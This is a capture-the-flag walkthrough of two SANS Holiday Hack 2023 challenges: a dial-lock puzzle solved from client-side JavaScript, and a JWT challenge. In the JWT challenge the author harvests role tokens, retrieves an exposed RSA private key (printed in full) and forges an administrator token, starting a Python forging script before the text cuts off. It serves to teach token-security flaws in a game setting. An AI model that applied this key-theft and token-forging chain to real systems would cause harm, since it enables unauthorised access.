Steampunk Island⚓︎
Set a course for the heart of the map to reach Steampunk Island on our trusty ship. Navigate skillfully using the arrow keys on the keyboard or the WASD keys. The island awaits in the middle, promising a journey filled with mechanical wonders and adventurous discoveries. Safe travels!
There are three different ports available:
Port of Brass Bouy⚓︎
While exploring the Steampunk Island, we discover the Port of Brass Bouy. Upon reaching it, a "Dock Now" option is presented to us.
After docking:
To the left of the dock, we are greeted by the Goose of Steampunk Island.
When we make land, we obtain a new objective on arrival.
Faster Lock Combination (Steampunk Island)
Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!
Full Island (Zoomed Out)
Faster Lock Combination⚓︎
Faster Lock Combination (Steampunk Island)
Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!
If we keep proceeding to the south-west corner of the island, we can find Bow Ninecandle outside of a dial-combination locked lavatory!
Bow Ninecandle
I'm sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush... I mean fuss.
When speaking with Bow Ninecandle, he suggests a video on how to decode a dial combination lock in 8 attempts or less. After reviewing the video, you can identify the first and third digit perfectly but the second digit, you can only get down to 8 different possible values.
When we startup the challenge, it has a combination lock with instructions on how to go about completing it.
The challenge uses a single JavaScript file that generates and stores the combination in variables stored in our browser. We can also use ChatGPT to quickly rewrite the JavaScript code into Python.
function GenerateCombination() {
function getRandomElement(arr) {
const randomIndex = Math.floor(Math.random() * arr.length);
return arr[randomIndex];
}
function rollover(num) {
if (num >= 40) {
num -= 40
}
return num
}
function gen_guess_numbers(rem) {
var guess_number1 = Math.floor(Math.random() * 12);
var guess_number2 = Math.floor(Math.random() * 12);
while (guess_number2 == guess_number1) {
guess_number2 = Math.floor(Math.random() * 12);
}
var gnum1_nums = [guess_number1, guess_number1 + 10, guess_number1 + 20, rollover(guess_number1 + 30)]
var gnum2_nums = [guess_number2, guess_number2 + 10, guess_number2 + 20, rollover(guess_number2 + 30)]
var gnum1_contains = [gnum1_nums[0] % 4, gnum1_nums[1] % 4, gnum1_nums[2] % 4, gnum1_nums[3] % 4].includes(rem)
var gnum2_contains = [gnum2_nums[0] % 4, gnum2_nums[1] % 4, gnum2_nums[2] % 4, gnum2_nums[3] % 4].includes(rem)
return [guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains]
}
var first_number = Math.floor(Math.random() * 40);
while (first_number > 37 || first_number < 17) {
first_number = Math.floor(Math.random() * 40);
}
var first_number_sticky = first_number - 5
var remainder = first_number % 4
var cont = true
var guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains
var bad_third_number
while (cont) {
[guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains] = gen_guess_numbers(remainder)
while ((gnum1_contains && gnum2_contains) || (!gnum1_contains && !gnum2_contains)) {
[guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains] = gen_guess_numbers(remainder)
}
var possible_3rd_numbers = [...gnum1_nums.filter(num => num % 4 === remainder), ...gnum2_nums.filter(num => num % 4 === remainder)]
var third_number = getRandomElement(possible_3rd_numbers)
while (third_number == first_number) {
third_number = getRandomElement(possible_3rd_numbers)
}
bad_third_number = possible_3rd_numbers.filter(item => item !== third_number)[0];
if (!([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11].includes(third_number) || [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11].includes(bad_third_number))) {
cont = false
}
}
var remainder_add2 = remainder + 2
var remainder_add2_add4 = remainder_add2 + 4
var second_number_guesses_row1 = [remainder_add2, remainder_add2 + 8, remainder_add2 + 16, remainder_add2 + 24, rollover(remainder_add2 + 32)]
var second_number_guesses_row2 = [remainder_add2_add4, remainder_add2_add4 + 8, remainder_add2_add4 + 16, remainder_add2_add4 + 24, rollover(remainder_add2_add4 + 32)]
const range = 2;
function circularDistance(a, b) {
const totalNumbers = 40; // 0 to 39 inclusive
const directDist = Math.abs(a - b);
const circularDist = totalNumbers - directDist;
return Math.min(directDist, circularDist);
}
function isOutsideCircularRangeOf(candidate, target) {
return circularDistance(candidate, target) > range;
}
function filterOutsideCircularRange(numbers, target) {
return numbers.filter(candidate => isOutsideCircularRangeOf(candidate, target));
}
var filteredSecondNumbers = filterOutsideCircularRange([...second_number_guesses_row1, ...second_number_guesses_row2], first_number);
var second_number = getRandomElement(filteredSecondNumbers)
while (second_number == first_number || second_number == third_number) {
second_number = getRandomElement(filteredSecondNumbers)
}
return {
"first_number": first_number,
"second_number": second_number,
"third_number": third_number,
"bad_third_number": bad_third_number,
"first_number_sticky": first_number_sticky,
"guess_number1": guess_number1,
"guess_number2": guess_number2
}
}
This means you can access the combination via the lock_numbers
variable in the Developer Tools Console.
If you're unfamiliar with unlocking a dial combination, follow these steps:
- Turn the dial clockwise (right arrow) until you reach the first number.
- Rotate the dial counterclockwise (left arrow), skipping over the second number once, and then stop at the second number.
- Continue turning the dial clockwise (right arrow) until you reach the third number.
- Use your mouse to drag the padlock shackle up and mission complete!
Achievement
Congratulations! You have completed the Faster Lock Combination challenge!
The Captain's Comms⚓︎
The Captain's Comms (Steampunk Island)
Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You'll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.
If we head south from the dock, navigating through intricate streets, we come across Chimney Scissorsticks in close proximity to a challenging area.
When speaking with Chimney Scissorsticks, we obtain the following hints:
Comms Private Key
Find a private key, update an existing JWT!
Comms JWT Intro
A great introduction to JSON Web Tokens is available from Auth0.
Comms Journal
I've seen the Captain with his Journal visiting Pixel Island!
Comms Abbreviations
I hear the Captain likes to abbreviate words in his filenames; shortening some words to just 1,2,3, or 4 letters.
The challenge is hosted on https://captainscomms.com and when initially launched present some background information.
Investigating Items in Room⚓︎
We can identify items in yellow and click them to see different images load:
Captain's SDR⚓︎
After clicking on the computer monitor (highlighted in yellow), which happens to be the captain's Software Defined Radio (SDR), we are denied access and need to become a radioMonitor
user to access.
Radio⚓︎
After clicking on the radio (highlighted in yellow), we are denied access and need to become a JWT Radio Administrator to access.
Captain's ChatNPT Initial To-Do List⚓︎
After clicking on the paper (highlighted in yellow) - Captain's ChatNPT Initial To-Do List, we are presented with some ChatNPT prompts and responses such as - where some JWT public keys are stored.
Captain's To-Do List⚓︎
After clicking on the paper (highlighted in yellow) - Captain's To-Do List, we are presented with some things that need to be done.
Just Watch This: Owner's Card⚓︎
After clicking on the paper (highlighted in yellow) - Just Watch This: Owner's Card, we are presented with some information about how the Captain's SDR works with the Authorization
header.
Just Watch This Owner's Manual Volume I⚓︎
After clicking on the book (highlighted in yellow) - Just Watch This Owner's Manual Volume I, we are presented with some information about all the different types of roles that are designed in the program.
Just Watch This Owner's Manual Volume II⚓︎
After clicking on the book (highlighted in yellow) - Just Watch This Owner's Manual Volume II, we are presented with some information about the Authorization
header and keys
folder.
Just Watch This Appendix A - Decoder Index⚓︎
After clicking on the book (highlighted in yellow) - Just Watch This Appendix A - Decoder Index we are presented with some information about how the system uses morse code in the SDR.
Burp - Discovery of Additional JWTs⚓︎
When using Burp Proxy, we can see that on initial launch we obtain two new JWT cookies of the names justWatchThisRole
and CaptainsCookie
. These are also sent with requests in the Authorization
header in the form Authorization: Bearer <jwt_token>
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg; Secure; Path=/; SameSite=None
Set-Cookie: CaptainsCookie=eyJjYXB0YWluc1ZpY3RvcnkiOjAsInVzZXJpZCI6IjZiYWIwYTdiLTVkNDMtNDcwZC1hMGU1LWY1NDljNTcyODcyMyJ9.ZZGeTw.oBseo3ORfX98Cmxf8UkPud2MhCw; Secure; HttpOnly; Path=/; SameSite=None
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg
From the response of https://captainscomms.com/, we can obtain the default role JWT of radioUser
from the justWatchThisRole
cookie.
GET /jwtDefault/rMonitor.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding,Cookie
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg; Secure; Path=/; SameSite=None
..[snip]..
{
"iss": "HHC 2023 Captain's Comms",
"iat": 1699485795.3403327,
"exp": 1809937395.3403327,
"aud": "Holiday Hack 2023",
"role": "radioUser"
}
From the response of https://captainscomms.com/, we can obtain the default role JWT of radioUser
from the justWatchThisRole
cookie.
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg;
Payload = {
"iss": "HHC 2023 Captain's Comms",
"iat": 1699485795.3403327,
"exp": 1809937395.3403327,
"aud": "Holiday Hack 2023",
"role": "radioUser"
}
We can then use the previous JWT into the Authorization
header and obtain the monitor
role JWT from https://captainscomms.com/jwtDefault/rMonitor.tok.
GET /jwtDefault/rMonitor.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg
..[snip]..
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
Payload = {
"iss": "HHC 2023 Captain's Comms",
"iat": 1699485795.3403327,
"exp": 1809937395.3403327,
"aud": "Holiday Hack 2023",
"role": "radioMonitor"
}
We can then use the previous JWT into the Authorization
header and obtain the decoder
role JWT from https://captainscomms.com/jwtDefault/rDecoder.tok.
GET /jwtDefault/rDecoder.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
..[snip]..
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
Payload = {
"iss": "HHC 2023 Captain's Comms",
"iat": 1699485795.3403327,
"exp": 1809937395.3403327,
"aud": "Holiday Hack 2023",
"role": "radioDecoder"
}
We can also access the captains public key from https://captainscomms.com/jwtDefault/keys/capsPubKey.key and leveraging any of the JWTs previously disclosed in the Authorization
header of the request.
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----
Burp - Session Handling Rules⚓︎
We can set Session-handling rules within Burp Suite and toggle between the decoder
and monitor
roles relatively easy as follows:
Access SDR⚓︎
After replacing my Authorization:
header with the monitor role JWT, we can access the Software Defined Radio (SDR) Waterfall display from <https://captainscomms.com/static/images/WaterfallPopOut.gi.
From "Appendix A", we can now click on a signal peak while using the 'radioDecoder' role token and hear and decode a signal! The lines of the spectrogram plot are hyperlinked to the following videos (from left-to-right):
- CW - https://captainscomms.com/static/images/dcdCW.mp4
- NUM - https://captainscomms.com/static/images/dcdNUM.mp4
- FX - https://captainscomms.com/static/images/dcdFX.mp4
We can download all videos and inspect them using a video player of our choice!
for filename in $(echo dcdCW dcdFX dcdNUM ); do
wget --header='Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' https://captainscomms.com/static/images/$filename.mp4
done
The CW decoded output:
The NUM decoded output:
From the research articleregarding E03, we can see the message is actually between the two gongs: 12249 12249 16009 16009 12249 12249 16009 16009
The FX final decoded output:
Obtain Private Key⚓︎
Using the CW decoded output, we are able to find the private key using some intuition on how the captain labeled the public key as /jwtDefault/keys/capsPubKey.key
in the location: https://captainscomms.com/jwtDefault/keys/capsPrivKey.key
GET /jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
..[snip]..
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----
JWT Spoof Administrator⚓︎
We can use the captain's private key to sign a new JWT to obtain access to the Radio as a "JWT Radio Administrator". From the hints - You'll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role. We can create the new key using jwt.io or Python with the jwt
library.
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
In addition, I made a custom python function to generate each JWT for every role available:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to generate JWT tokens for each role.
Holiday Hack 2023 - The Captain's Comms
"""
# Imports
import jwt
import requests
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
# Suppress SSL warnings
requests.packages.urllib3.disable_warnings()
# Constants
ROLES = {
"radioUser": "waterfall", # Default role - https://captainscomms.com/
"radioMonitor": None, # Interact with SDR and listen to transmissions - https://captainscomms.com/jwtDefault/rMonitor.tok
"radioDecoder": "dcdNUM", # Decoding SDR waterfall signals - https://captainscomms.com/jwtDefault/rDecoder.tok
"GeeseIslandsSuperChiefCommunicationsOfficer": "tx", # Transmit messages - https://captainscomms.com/jwtDefault/rTransmitter.tok
}
# Load RSA private key
with open("./capsPrivKey.key", "rb") as key_file:
PRIVATE_KEY = serialization.load_pem_private_key(key_file.read(), password=None, backend=default_backend())
def get_jwt(role):
"""Create new JWT based on a given role."""
